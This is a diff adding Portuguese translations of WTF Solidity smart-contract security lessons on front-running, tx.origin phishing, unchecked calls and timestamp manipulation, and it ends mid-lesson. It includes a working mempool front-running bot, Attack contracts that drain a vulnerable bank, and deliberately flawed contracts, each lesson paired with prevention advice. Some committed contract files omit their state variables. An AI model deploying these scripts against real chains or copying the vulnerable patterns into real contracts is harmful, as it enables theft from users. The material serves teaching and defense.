console.log("\n4. Ouvir transações pendentes, obter txHash e imprimir detalhes da transação.") + provider.on("pending", async (txHash) => { + if (txHash) { + // Obter detalhes do tx + let tx = await provider.getTransaction(txHash); + if (tx) { + // filtrar pendingTx.data + if (tx.data.indexOf(iface.getSighash("mint")) !== -1 && tx.from != wallet.address ) { + // Imprimir txHash + console.log(`\n[${(new Date).toLocaleTimeString()}] Ouvindo transação Pendente: ${txHash} \r`) + + // Imprimir detalhes da transação decodificada + let parsedTx = iface.parseTransaction(tx) + console.log("Detalhes da transação pendente decodificados:") + console.log(parsedTx) + // Decodificando dados de entrada + console.log("transação bruta") + console.log(tx) + + // Construindo o sistema de corrida de revezamento. + const txFrontrun = { + to: tx.to, + value: tx.value, + maxPriorityFeePerGas: tx.maxPriorityFeePerGas * 1.2, + maxFeePerGas: tx.maxFeePerGas * 1.2, + gasLimit: tx.gasLimit * 2, + data: tx.data + } + // Enviar transação de corrida de largada + var txResponse = await wallet.sendTransaction(txFrontrun) + console.log(`Realizando transação de frontrun`) + await txResponse.wait() + console.log(`frontrun transação bem-sucedida`) + } + } + } + }); + + provider._websocket.on("error", async () => { + console.log(`Não foi possível conectar a ${ep.subdomain} tentando novamente em 3s...`) + setTimeout(init, 3000); + }); + + provider._websocket.on("close", async (code) => { + console.log( + `Connection lost with code ${code}! Attempting reconnect in 3s...` + ); + provider._websocket.terminate(); + setTimeout(init, 3000); + }); +}; + +main() diff --git a/Languages/pt-br/S11_Frontrun/img/S11-1.png b/Languages/pt-br/S11_Frontrun/img/S11-1.png new file mode 100644 index 000000000..2fac0441c Binary files /dev/null and b/Languages/pt-br/S11_Frontrun/img/S11-1.png differ diff --git a/Languages/pt-br/S11_Frontrun/img/S11-2.png b/Languages/pt-br/S11_Frontrun/img/S11-2.png new file mode 100644 index 000000000..f0c4c2b93 Binary files /dev/null and b/Languages/pt-br/S11_Frontrun/img/S11-2.png differ diff --git a/Languages/pt-br/S11_Frontrun/img/S11-3.png b/Languages/pt-br/S11_Frontrun/img/S11-3.png new file mode 100644 index 000000000..a4e46633e Binary files /dev/null and b/Languages/pt-br/S11_Frontrun/img/S11-3.png differ diff --git a/Languages/pt-br/S11_Frontrun/img/S11-4.png b/Languages/pt-br/S11_Frontrun/img/S11-4.png new file mode 100644 index 000000000..8314df0f5 Binary files /dev/null and b/Languages/pt-br/S11_Frontrun/img/S11-4.png differ diff --git a/Languages/pt-br/S11_Frontrun/package.json b/Languages/pt-br/S11_Frontrun/package.json new file mode 100644 index 000000000..cdb1f7bdc --- /dev/null +++ b/Languages/pt-br/S11_Frontrun/package.json @@ -0,0 +1,15 @@ +{ + "name": "ethers_examples", + "version": "1.0.0", + "description": "Minimal Tutorial to Ethers.js", + "type": "module", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "0xAA", + "license": "MIT", + "dependencies": { + "ethers": "^5.7.1", + "merkletreejs": "^0.2.32" + } +} diff --git a/Languages/pt-br/S11_Frontrun/readme.md b/Languages/pt-br/S11_Frontrun/readme.md new file mode 100644 index 000000000..c7baddda6 --- /dev/null +++ b/Languages/pt-br/S11_Frontrun/readme.md @@ -0,0 +1,161 @@ +# S11. Front-running de Transações + +Recentemente, tenho revisado meus conhecimentos em solidity para consolidar os detalhes e também escrever um "Guia Simplificado de Solidity" para iniciantes (os especialistas em programação podem procurar outros tutoriais), com atualizações semanais de 1 a 3 lições. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo do WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais são de código aberto no GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta lição, vamos falar sobre o front-running de contratos inteligentes. Estima-se que arbitradores em Ethereum lucraram $1.2 bilhão através de ataques "sandwich" [fonte](https://dune.com/chorus_one/ethereum-mev-data). + +## Front-running + +### Front-running tradicional +O front-running surgiu inicialmente nos mercados financeiros tradicionais como uma competição puramente baseada no interesse pessoal. Nos mercados financeiros, a discrepância de informações deu origem a intermediários financeiros que podiam lucrar ao saberem primeiro de certas informações do setor e reagirem rapidamente. Esses ataques principalmente ocorrem em negociações de ações e em registros de domínios. + +Em setembro de 2021, Nate Chastain, diretor de produto da OpenSea, foi descoberto lucrando ao comprar antecipadamente NFTs que seriam exibidos na página inicial da OpenSea. +Ele usava informações privilegiadas para obter uma vantagem desleal, sabendo quais NFTs a OpenSea promoveria na página inicial, ele comprava antes da exibição na página inicial para depois vendê-los quando os NFTs fossem para a página inicial. No entanto, uma pessoa conseguiu combinar o timestamp da transação do NFT com uma promoção suspeita de NFT na página inicial da OpenSea e descobriu essa atividade ilegal, levando Nate a ser processado. + +Outro exemplo de front-running tradicional é quando há insider trading em tokens antes de serem listados em exchanges conhecidas como Binance e Coinbase. Após o anúncio de listagem, o preço do token tende a subir significativamente, e é nesse momento que os front-runners vendem para lucrar. + +### Front-running em Blockchain + +Front-running em blockchain refere-se a pesquisadores ou mineradores que inserem suas transações antes de outras, com o objetivo de capturar valor. Em blockchain, os mineradores têm a capacidade de aumentar o `gas` ou utilizar outros métodos para colocarem suas transações antes das demais e lucrarem com isso. No blockchain da Ethereum, o `MEV` mede esses lucros. + +Geralmente, a maioria das transações de usuários são reunidas na Mempool antes de serem incluídas em um bloco na blockchain Ethereum. Os mineradores procuram priorizar transações com taxas mais altas para maximizarem seus lucros. Além disso, alguns robôs de `MEV` monitoram a Mempool em busca de transações lucrativas. Por exemplo, uma transação de troca (`swap`) em uma exchange descentralizada com um alto valor de deslizamento pode ser alvo de um ataque "sandwich": ajustando o `gas`, o negociante coloca uma ordem de compra antes e uma ordem de venda depois, lucrando com a diferença. Isso é semelhante à manipulação do preço de mercado. + +![](./img/S11-1.png) + +## Prática de Front-running + +Se você dominar o front-running, será considerado um cientista do blockchain de nível iniciante. A seguir, vamos praticar um front-running ao uma transação de mint de um NFT. As ferramentas que utilizaremos são: +- A ferramenta `anvil` da `Foundry` para criar uma blockchain de teste local, certifique-se de instalar [foundry](https://book.getfoundry.sh/getting-started/installation) previamente. +- O `Remix` para implantação e mint do contrato NFT. +- Um script `etherjs` para escutar a Mempool e realizar o front-running. + +**1. Inicializar uma blockchain de teste local com a Foundry:** Após ter instalado o `foundry`, na linha de comando, digite `anvil --chain-id 1234 -b 10` para criar uma blockchain de teste local, com chain-id 1234 e produzindo um bloco a cada 10 segundos. Após a inicialização bem sucedida, serão exibidos alguns endereços e chaves privadas de teste, cada conta com 10000 ETH. Você pode utilizá-las para testar. + +**2. Conectar o Remix à blockchain de teste:** Acesse a página de implantação do Remix e no menu suspenso `Environment`, selecione `Foundry Provider` para conectar o Remix à blockchain de teste. + +**3. Implante o contrato NFT:** No Remix, implante um contrato NFT de `freemint` (mint grátis). Esse contrato possui uma função `mint()` que permite o mint grátis de NFTs. + +```solidity +// SPDX-License-Identifier: MIT +// By 0xAA +pragma solidity ^0.8.21; +import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; + +// Tentaremos fazer um front-run de uma transação de mint gratuita +contract FreeMint is ERC721 { + uint256 public totalSupply; + + // Construtor, inicializa o nome e símbolo da coleção de NFTs + constructor() ERC721("Free Mint NFT", "FreeMint"){} + + // Função de mint + function mint() external { + _mint(msg.sender, totalSupply); // mint + totalSupply++; + } +} +``` + +**4. Implante o script de front-running ethers.js:** Em resumo, o script `frontrun.js` escuta as transações pendentes na Mempool da blockchain de teste, filtra as transações que chamam a função `mint()` e, em seguida, replica e aumenta o `gas` para realizar o front-running. Se você não estiver familiarizado com `ether.js`, pode ler o [Guia Simplificado de Ethers da WTF](https://github.com/WTFAcademy/WTF-Ethers). + +```js +// provider.on("pending", listener) +import { ethers, utils } from "ethers"; + +// 1. Criar o provider +var url = "http://127.0.0.1:8545"; +const provider = new ethers.providers.WebSocketProvider(url); +let network = provider.getNetwork() +network.then(res => console.log(`[${(new Date).toLocaleTimeString()}] Conectado ao chain ID ${res.chainId}`)); + +// 2. Criar um objeto de interface para decodificar os detalhes da transação. +const iface = new utils.Interface([ + "function mint() external", +]) + +// 3. Criar uma carteira para enviar transações de front-running +const privateKey = '0x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a' +const wallet = new ethers.Wallet(privateKey, provider) + +const main = async () => { + // 4. Escutar as transações pendentes do mint, obter os detalhes da transação e decodificar. + console.log("\n4. Escutar transações pendentes, obter o txHash e mostrar os detalhes da transação.") + provider.on("pending", async (txHash) => { + if (txHash) { + // Obter detalhes da tx + let tx = await provider.getTransaction(txHash); + if (tx) { + // Filtrar os dados da transação pendente + if (tx.data.indexOf(iface.getSighash("mint")) !== -1 && tx.from != wallet.address ) { + // Mostrar o txHash + console.log(`\n[${(new Date).toLocaleTimeString()}] Escutando transação pendente: ${txHash} \r`); + + // Mostrar os detalhes da transação decodificados + let parsedTx = iface.parseTransaction(tx) + console.log("Detalhes decodificados da transação pendente:") + console.log(parsedTx); + // Decodificar os dados da transação + console.log("Transação bruta") + console.log(tx); + + // Construir a tx de front-running + const txFrontrun = { + to: tx.to, + value: tx.value, + maxPriorityFeePerGas: tx.maxPriorityFeePerGas * 1.2, + maxFeePerGas: tx.maxFeePerGas * 1.2, + gasLimit: tx.gasLimit * 2, + data: tx.data + } + // Enviar a transação de front-running + var txResponse = await wallet.sendTransaction(txFrontrun) + console.log(`Realizando front-running da transação`) + await txResponse.wait() + console.log(`Transação de front-running bem-sucedida`) + } + } + } + }); + + provider._websocket.on("error", async () => { + console.log(`Não foi possível conectar a ${ep.subdomain} Tente novamente em 3s...`); + setTimeout(init, 3000); + }); + + provider._websocket.on("close", async (code) => { + console.log( + `Conexão perdida com o código ${code}! Tentando reconectar em 3s...` + ); + provider._websocket.terminate(); + setTimeout(init, 3000); + }); +}; + +main() +``` + +**5. Chamar a função `mint()`:** Na página de implantação do Remix, chame a função `mint()` do contrato Freemint para realizar o mint do NFT. + +**6. O script detecta a transação e realiza o front-running:** No terminal, você verá que o script `frontrun.js` conseguiu detectar a transação e realizar o front-running com sucesso. Se você consultar a função `ownerOf()` do contrato NFT e verificar o tokenID 0, verá que o detentor é o endereço da carteira usada pelo script de front-running, confirmando o sucesso do front-running!. + +![](./img/S11-4.png) + +## Métodos de Prevenção + +O front-running é um problema comum em blockchains públicas como Ethereum. Não podemos eliminá-lo, mas podemos reduzir os lucros do front-running ao minimizar a importância da ordem e do tempo das transações: + +- Utilize um esquema de precompromisso (commit-reveal scheme). +- Utilize dark pools, onde as transações dos usuários não entram na Mempool pública, indo direto para os mineradores. Por exemplo, flashbots e TaiChi. + +## Conclusão + +Nesta lição, abordamos o conceito de front-running em Ethereum, uma prática também conhecida como arbitragem de informações. Esse tipo de ataque, originado no mercado financeiro tradicional, é mais fácil de ser realizado em blockchains devido à transparência das informações. Realizamos um exemplo de front-running no tempo: front-runnar uma transação de mint de um NFT. Quando transações semelhantes forem necessárias, é melhor adotar medidas como pools ocultos ou leilões em lote para evitar esse tipo de ataque. O front-running é um problema comum em blockchains públicas como Ethereum, mas podemos reduzir os lucros dos front-runners ao minimizar a importância da ordem e do tempo das transações. + diff --git a/Languages/pt-br/S12_TxOrigin/PhishingWithTxOrigin.sol b/Languages/pt-br/S12_TxOrigin/PhishingWithTxOrigin.sol new file mode 100644 index 000000000..980f3b67d --- /dev/null +++ b/Languages/pt-br/S12_TxOrigin/PhishingWithTxOrigin.sol @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.17; +contract Bank { + //Registrar o proprietário do contrato + + //Ao criar o contrato, atribua um valor à variável owner + constructor() payable { + owner = msg.sender; + } + + function transfer(address payable _to, uint _amount) public { + //Verificando a origem da mensagem + require(tx.origin == owner, "Not owner"); + //Transferir ETH + (bool sent, ) = _to.call{value: _amount}(""); + require(sent, "Failed to send Ether"); + } +} + +contract Attack { + // Endereço do beneficiário + address payable public hacker; + // Endereço do contrato Bank + Bank bank; + + constructor(Bank _bank) { + //Forçar a conversão do tipo _bank de endereço para o tipo Bank + bank = Bank(_bank); + //Atribuir o endereço do beneficiário como o endereço do deployer + hacker = payable(msg.sender); + } + + function attack() public { + //Induz o proprietário do contrato Bank a chamar, assim o saldo dentro do contrato Bank é transferido para o endereço do hacker. + bank.transfer(hacker, address(bank).balance); + } +} \ No newline at end of file diff --git a/Languages/pt-br/S12_TxOrigin/img/S12-2.jpg b/Languages/pt-br/S12_TxOrigin/img/S12-2.jpg new file mode 100644 index 000000000..78e666c44 Binary files /dev/null and b/Languages/pt-br/S12_TxOrigin/img/S12-2.jpg differ diff --git a/Languages/pt-br/S12_TxOrigin/img/S12-3.jpg b/Languages/pt-br/S12_TxOrigin/img/S12-3.jpg new file mode 100644 index 000000000..d5c3fb1e4 Binary files /dev/null and b/Languages/pt-br/S12_TxOrigin/img/S12-3.jpg differ diff --git a/Languages/pt-br/S12_TxOrigin/img/S12-4.jpg b/Languages/pt-br/S12_TxOrigin/img/S12-4.jpg new file mode 100644 index 000000000..58909597c Binary files /dev/null and b/Languages/pt-br/S12_TxOrigin/img/S12-4.jpg differ diff --git a/Languages/pt-br/S12_TxOrigin/img/S12_1.jpg b/Languages/pt-br/S12_TxOrigin/img/S12_1.jpg new file mode 100644 index 000000000..fcb7b7b59 Binary files /dev/null and b/Languages/pt-br/S12_TxOrigin/img/S12_1.jpg differ diff --git a/Languages/pt-br/S12_TxOrigin/readme.md b/Languages/pt-br/S12_TxOrigin/readme.md new file mode 100644 index 000000000..8c2b3f10e --- /dev/null +++ b/Languages/pt-br/S12_TxOrigin/readme.md @@ -0,0 +1,117 @@ +# WTF Solidity: S12. Ataque de Phishing tx.origin + +Recentemente, tenho revisado meus conhecimentos em Solidity para consolidar os detalhes e também para escrever um "WTF Solidity Simplificado" para iniciantes (os programadores experientes podem procurar outros tutoriais). Estarei postando de 1 a 3 lições por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site Oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais são de código aberto no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta lição, vamos discutir o ataque de phishing tx.origin em contratos inteligentes e métodos para prevenir esse tipo de ataque. + +## Ataque de Phishing com tx.origin + +Quando eu estava no ensino fundamental, gostava muito de jogar videogame, mas os desenvolvedores, para evitar o vício de menores de idade, implementaram uma política em que apenas jogadores com mais de dezoito anos, verificados por meio de um número de identidade, poderiam jogar sem restrições. Como contornar essa política? Eu usei o número de identidade dos meus pais para verificar minha idade e consegui burlar o sistema. Esse caso se assemelha ao ataque de phishing com tx.origin. + +No Solidity, o uso de `tx.origin` permite obter o endereço que iniciou a transação e é semelhante ao `msg.sender`. A diferença é que, se o usuário A chamar o contrato B, que por sua vez chama o contrato C, o `msg.sender` em C será o contrato B e o `tx.origin` será o usuário A. Para entender mais sobre o mecanismo de `call`, você pode ler a [S22. Chamada de Função](https://github.com/AmazingAng/WTF-Solidity/blob/main/22_Call/readme.md). + +Dessa forma, se um contrato bancário usa `tx.origin` para autenticar a identidade, um hacker poderá implantar um contrato malicioso e induzir o proprietário do contrato a chamá-lo. Mesmo que o `msg.sender` seja o endereço do contrato malicioso, o `tx.origin` será o endereço do proprietário do contrato bancário, o que permitirá a realização de transferências. + +## Exemplo de Contrato Vulnerável + +### Contrato Bancário + +Vamos analisar um contrato bancário simples, com uma variável de estado `owner` para registrar o proprietário do contrato. Ele possui um construtor e uma função pública: + +- Construtor: atribui o valor de `msg.sender` à variável `owner` durante a criação do contrato. +- `transfer()`: esta função recebe os parâmetros `_to` e `_amount` e verifica se `tx.origin == owner` antes de transferir a quantidade `_amount` de ETH para o endereço `_to`. **Observação: essa função é vulnerável a ataques de phishing!** + +```solidity +contract Bank { + address public owner; // Armazena o proprietário do contrato + + // Atribui o valor de msg.sender à variável owner + constructor() payable { + owner = msg.sender; + } + + function transfer(address payable _to, uint _amount) public { + // Verifica a origem da mensagem !!! Existe um risco de phishing + require(tx.origin == owner, "Not owner"); + // Transfere ETH + (bool sent, ) = _to.call{value: _amount}(""); + require(sent, "Failed to send Ether"); + } +} +``` + +### Contrato Malicioso + +Agora, vamos ver o contrato malicioso. Ele possui uma função `attack()` simples, que é usada para realizar o ataque de phishing, transferindo todo o saldo do contrato bancário para o endereço do hacker. O contrato possui duas variáveis de estado: `hacker` e `bank`, que armazenam o endereço do hacker e do contrato bancário a ser atacado, respectivamente. + +Ele contém duas funções: + +- Construtor: inicializa o endereço do contrato bancário. +- `attack()`: essa função é usada para induzir o proprietário do contrato bancário a chamar o contrato malicioso, que por sua vez chama a função `transfer()` do contrato bancário, verificando se `tx.origin == owner` e transferindo todo o saldo para o endereço do hacker. + +```solidity +contract Attack { + address payable public hacker; + Bank bank; + + constructor(Bank _bank) { + bank = Bank(_bank); + hacker = payable(msg.sender); + } + + function attack() public { + bank.transfer(hacker, address(bank).balance); + } +} +``` + +## Reproduzindo no `Remix` + +**1.** Defina o `value` como 10 ETH, implante o contrato `Bank` e o endereço do proprietário `owner` será definido como o endereço do contrato implantado. + +**2.** Mude para outra carteira, que será usada como a carteira do hacker, informe o endereço do contrato bancário a ser atacado e implante o contrato `Attack`, onde o endereço do hacker será definido como o endereço do contrato implantado. + +**3.** Volte para o endereço `owner` e chame a função `attack()` do contrato `Attack`, induzindo a transferência de todo o saldo do contrato `Bank` para o endereço do hacker. + +## Métodos de Prevenção + +Atualmente, existem duas maneiras de prevenir o ataque de phishing com `tx.origin`: + +### 1. Usar `msg.sender` em vez de `tx.origin` + +`msg.sender` obtém o endereço do remetente direto da chamada atual ao contrato. Verificando o valor de `msg.sender`, você pode evitar chamadas maliciosas de contratos externos. + +```solidity +function transfer(address payable _to, uint256 _amount) public { + require(msg.sender == owner, "Not owner"); + + (bool sent, ) = _to.call{value: _amount}(""); + require(sent, "Failed to send Ether"); +} +``` + +### 2. Verificar `tx.origin == msg.sender` + +Se você precisa usar `tx.origin`, verifique se `tx.origin` é igual a `msg.sender` para evitar chamadas maliciosas de contratos externos. Porém, essa abordagem rejeitará qualquer chamada de função feita por outros contratos. + +```solidity +function transfer(address payable _to, uint _amount) public { + require(tx.origin == owner, "Not owner"); + require(tx.origin == msg.sender, "can't call by external contract"); + (bool sent, ) = _to.call{value: _amount}(""); + require(sent, "Failed to send Ether"); +} +``` + +## Conclusão + +Nesta lição, abordamos o ataque de phishing com `tx.origin` em contratos inteligentes e métodos para prevenir esse tipo de ataque: usando `msg.sender` em vez de `tx.origin` ou verificando se `tx.origin == msg.sender`. A primeira abordagem é a mais recomendada, pois a segunda rejeitará chamadas de função feitas por outros contratos. + diff --git a/Languages/pt-br/S13_UncheckedCall/UncheckedCall.sol b/Languages/pt-br/S13_UncheckedCall/UncheckedCall.sol new file mode 100644 index 000000000..91971f970 --- /dev/null +++ b/Languages/pt-br/S13_UncheckedCall/UncheckedCall.sol @@ -0,0 +1,56 @@ +// SPDX-License-Identifier: MIT +// por 0xAA +pragma solidity ^0.8.21; + +contract UncheckedBank { + // Mapeamento de saldo + + // Depositar ether e atualizar o saldo + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + // Extrair todos os ether do msg.sender + function withdraw() external { + // Obter saldo + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + balanceOf[msg.sender] = 0; + // Chamada de baixo nível não verificada + bool success = payable(msg.sender).send(balance); + } + + // Obter o saldo do contrato bancário + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} + +contract Attack { + // Endereço do contrato Bank + + // Inicializando o endereço do contrato Bank + constructor(UncheckedBank _bank) { + bank = _bank; + } + + // Função de retorno, a transferência de ETH falhará + receive() external payable { + revert(); + } + + // Função de depósito, quando chamada, defina msg.value como a quantidade a ser depositada + function deposit() external payable { + bank.deposit{value: msg.value}(); + } + + // Função de saque, embora a chamada tenha sido bem-sucedida, na realidade o saque falhou + function withdraw() external payable { + bank.withdraw(); + } + + // Obter o saldo deste contrato + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} diff --git a/Languages/pt-br/S13_UncheckedCall/img/S13-1.png b/Languages/pt-br/S13_UncheckedCall/img/S13-1.png new file mode 100644 index 000000000..853cc649c Binary files /dev/null and b/Languages/pt-br/S13_UncheckedCall/img/S13-1.png differ diff --git a/Languages/pt-br/S13_UncheckedCall/readme.md b/Languages/pt-br/S13_UncheckedCall/readme.md new file mode 100644 index 000000000..354ba2237 --- /dev/null +++ b/Languages/pt-br/S13_UncheckedCall/readme.md @@ -0,0 +1,122 @@ +# WTF Solidity Segurança do Contrato: S13. Chamadas de baixo nível não verificadas + +Recentemente, tenho revisado meus conhecimentos em Solidity para consolidar detalhes e escrever um "Guia Simplificado de Solidity WTF" para iniciantes (programadores experientes podem procurar outros tutoriais), com atualizações semanais de 1 a 3 aulas. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WhatsApp](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais são de código aberto no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +Nesta aula, vamos abordar uma vulnerabilidade comum em contratos inteligentes, que é a falta de verificação em chamadas de baixo nível (low-level calls). Quando uma chamada de baixo nível falha, a transação não é revertida, e se o retorno dessa chamada não for verificado, problemas graves podem surgir. + +## Chamadas de Baixo Nível + +As chamadas de baixo nível em Ethereum incluem `call()`, `delegatecall()`, `staticcall()`, e `send()`. Essas funções se comportam de forma diferente das demais funções em Solidity: quando uma exceção ocorre, elas não são propagadas para o nível superior e não resultam em uma reversão completa da transação; em vez disso, elas retornam um valor booleano `false` indicando a falha na chamada. Portanto, se o retorno de uma chamada de baixo nível não for verificado, o código no nível superior continuará a ser executado. Para mais detalhes sobre chamadas de baixo nível, consulte a [aulas 20-23 do WTF Solidity](https://github.com/AmazingAng/WTF-Solidity). + +Uma situação comum é o uso do `send()`: alguns contratos usam o `send()` para enviar `ETH`, porém o `send()` tem um limite de gas abaixo de 2300, caso contrário falha. Quando o destino da chamada tem uma função de callback complexa, o consumo de gas pode exceder 2300, resultando em falha. Se neste momento o retorno da função não for verificado no nível superior, a transação continuará a ser executada, causando problemas inesperados. Em 2016, o jogo "King of Ether" teve problemas de reembolso devido a essa vulnerabilidade ([relatório post-mortem](https://www.kingoftheether.com/postmortem.html)). + +![](./img/S13-1.png) + +## Exemplo de Vulnerabilidade + +### Contrato do Banco + +Este contrato é uma modificação do contrato bancário apresentado na aula `S01 Ataque de Reentrada`. Ele inclui uma variável de estado `balanceOf` para registrar os saldos em Ethereum de todos os usuários, e três funções: +- `deposit()`: função de depósito para adicionar `ETH` no contrato do banco e atualizar o saldo do usuário. +- `withdraw()`: função de saque para transferir o saldo do chamador. Os passos são semelhantes aos da história mencionada anteriormente: verificar o saldo, atualizar o saldo e transferir. **Observação: esta função não verifica o retorno do `send()`, então o saque pode falhar sem zerar o saldo!** +- `getBalance()`: função para obter o saldo em Ethereum do contrato do banco. + +```solidity +contract UncheckedBank { + mapping (address => uint256) public balanceOf; // Mapping de saldos + + // Deposita ether e atualiza o saldo + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + // Retira todo o ether do msg.sender + function withdraw() external { + // Obtém o saldo + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Saldo insuficiente"); + balanceOf[msg.sender] = 0; + // Chamada de baixo nível não verificada + bool success = payable(msg.sender).send(balance); + } + + // Obtém o saldo do contrato do banco + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} +``` + +## Contrato de Ataque + +Criamos um contrato de ataque que representa um azarado depositante, cuja tentativa de saque falha, mas o saldo é zerado: a função de callback do contrato `receive()` com `revert()` faz a transação ser revertida e não aceita `ETH`; no entanto, a função de saque `withdraw()` do contrato pode ser chamada com sucesso, limpando o saldo. + +```solidity +contract Attack { + UncheckedBank public bank; // Endereço do contrato do Banco + + // Inicializa o endereço do contrato do Banco + constructor(UncheckedBank _bank) { + bank = _bank; + } + + // Função de callback que falha ao receber ETH + receive() external payable { + revert(); + } + + // Função de depósito, o valor do depósito é passado como msg.value + function deposit() external payable { + bank.deposit{value: msg.value}(); + } + + // Função de saque, mesmo que a chamada tenha sucesso, o saque na verdade falha + function withdraw() external payable { + bank.withdraw(); + } + + // Obtém o saldo deste contrato + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} +``` + +## Reproduzindo no Remix + +1. Implemente o contrato `UncheckedBank`. + +2. Implemente o contrato `Attack`, passando o endereço do contrato `UncheckedBank` como parâmetro no construtor. + +3. Chame a função `deposit()` do contrato `Attack` para depositar `1 ETH`. + +4. Chame a função `withdraw()` do contrato `Attack` para sacar os fundos, a chamada é feita com sucesso. + +5. Em seguida, chame a função `balanceOf()` do contrato `UncheckedBank` e a função `getBalance()` do contrato `Attack`. Apesar do saque bem-sucedido na etapa anterior, o saldo da conta do depositante falha. + +## Medidas Preventivas + +Você pode adotar as seguintes medidas para prevenir a vulnerabilidade de chamadas de baixo nível não verificadas: + +1. Verifique o retorno de chamadas de baixo nível. No contrato bancário mencionado anteriormente, podemos corrigir o `withdraw()`. + ```solidity + bool success = payable(msg.sender).send(balance); + require(success, "Falha ao enviar ETH!"); + ``` + +2. Ao transferir `ETH` em contratos, use `call()` e implemente proteção contra reentrância. + +3. Utilize a biblioteca [Address](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol) da OpenZeppelin, que encapsula chamadas de baixo nível verificadas. + +## Conclusão + +Exploramos a vulnerabilidade das chamadas de baixo nível não verificadas e as medidas preventiva. Chamadas de baixo nível em Ethereum (call, delegatecall, staticcall, send) retornam `false` em caso de falha, mas não revertam a transação completamente. Se o retorno não for verificado, podem ocorrer problemas inesperados. + diff --git a/Languages/pt-br/S14_TimeManipulation/readme.md b/Languages/pt-br/S14_TimeManipulation/readme.md new file mode 100644 index 000000000..bfa917b43 --- /dev/null +++ b/Languages/pt-br/S14_TimeManipulation/readme.md @@ -0,0 +1,147 @@ +--- +title: S14. Manipulação do Tempo de Bloco +tags: +- solidity +- segurança +- timestamp +--- + +# WTF Solidity Contratos Seguros: S14. Manipulação do Tempo de Bloco + +Recentemente, tenho estudado solidity novamente para revisar os detalhes e escrever um "Guia WTF de Introdução ao Solidity" para iniciantes (programadores experientes podem procurar outros tutoriais). Serão lançadas de 1 a 3 lições por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk)|[Grupo do WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +Nesta lição, vamos falar sobre o ataque de manipulação do tempo de bloco em contratos inteligentes e reproduzi-lo usando o Foundry. Antes do Merge, os mineradores de Ethereum podiam manipular o tempo de bloco, o que poderia ser explorado se um contrato de loteria dependesse do timestamp do bloco. + +## Tempo de Bloco + +O tempo de bloco (block timestamp) é um valor `uint64` incluído no cabeçalho de um bloco Ethereum, representando o timestamp UTC (em segundos) em que o bloco foi criado. Antes do Merge, o Ethereum ajustava a dificuldade dos blocos com base no poder de processamento, o que resultava em tempos de bloco variáveis, com uma média de 14,5 segundos por bloco. Os mineradores podiam manipular o tempo de bloco. Após o Merge, o tempo de bloco foi fixado em 12 segundos e os nós de validação não podem mais manipular o tempo de bloco. + +Em Solidity, os desenvolvedores podem obter o timestamp do bloco atual usando a variável global `block.timestamp`, que é do tipo `uint256`. + +## Exemplo de Vulnerabilidade + +Este exemplo é uma modificação do contrato apresentado em [WTF Solidity Contratos Seguros: S07. Números Aleatórios Ruins](./32_Faucet). Alteramos a condição da função de criação `mint()`: agora, a criação só é bem-sucedida se o timestamp do bloco for divisível por 170: + +```solidity +contract TimeManipulation is ERC721 { + uint256 totalSupply; + + // Construtor: inicializa o nome e o símbolo da coleção NFT + constructor() ERC721("", ""){} + + // Função de criação: só é possível criar se o timestamp do bloco for divisível por 170 + function luckyMint() external returns(bool success){ + if(block.timestamp % 170 == 0){ + _mint(msg.sender, totalSupply); // criação + totalSupply++; + success = true; + }else{ + success = false; + } + } +} +``` + +## Reproduzindo o Ataque com o Foundry + +Para reproduzir o ataque, o atacante só precisa manipular o tempo de bloco para um número divisível por 170. Vamos usar o Foundry para isso, pois ele fornece códigos de trapaça para modificar o tempo de bloco. Se você não está familiarizado com o Foundry/códigos de trapaça, pode ler o [tutorial do Foundry](../Topics/Tools/TOOL07_Foundry/readme.md) e o [Foundry Book](https://book.getfoundry.sh/forge/cheatcodes). + +Lógica do 